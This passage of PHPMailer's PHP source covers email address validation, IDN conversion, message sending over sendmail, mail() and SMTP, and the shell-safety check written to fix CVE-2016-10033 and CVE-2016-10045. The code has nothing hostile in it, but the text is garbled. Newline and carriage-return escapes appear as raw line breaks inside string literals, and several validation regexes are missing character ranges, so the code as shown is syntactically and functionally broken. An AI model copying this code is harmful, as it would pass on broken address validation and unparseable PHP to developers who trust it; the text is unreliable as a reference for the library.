        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('[email protected]', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "
") !== false or strpos($address, "
") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!((?1)"?(\[ -~]|[^"])"?(?1)){255,})(?!((?1)"?(\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((((((((
)?[	 ])+|([	 ]*
)?[	 ]+)?)(\(((?2)' .
                    '([--\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"((?2)([--!#-\[\]-]|\[-]))*' .
                    '(?2)")((?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(([a-z0-9]([a-z0-9-]*[a-z0-9])?)' .
                    '((?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(IPv6:(([a-f0-9]{1,4})(:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(:(?6)){0,6})?::(?7)?))|((IPv6:((?6)(:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(((?6)(:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!("?(\[ -~]|[^"])"?){255,})(?!("?(\[ -~]|[^"])"?){65,}@)(' .
                    '[!#-\'*+\/-9=?^-~-]+|"(([--!#-\[\]-]|\[-]))*")' .
                    '(\.([!#-\'*+\/-9=?^-~-]+|"(([--!#-\[\]-]|\[-]))*"))*' .
                    '@((?![a-z0-9-]{64,})([a-z0-9]([a-z0-9-]*[a-z0-9])?)(\.(?![a-z0-9-]{64,})' .
                    '([a-z0-9]([a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(IPv6:(([a-f0-9]{1,4})(:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})([a-f0-9]{1,4}(:[a-f0-9]{1,4}){0,6})?' .
                    '::([a-f0-9]{1,4}(:[a-f0-9]{1,4}){0,6})?))|((IPv6:([a-f0-9]{1,4}(:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})([a-f0-9]{1,4}(:[a-f0-9]{1,4}){0,4})?' .
                    '::((?:[a-f0-9]{1,4}(:[a-f0-9]{1,4}){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "
 ") . self::CRLF .
                    str_replace("
", "
", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "
");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('[email protected]', 'Joe User'), array('[email protected]', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('[email protected]', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
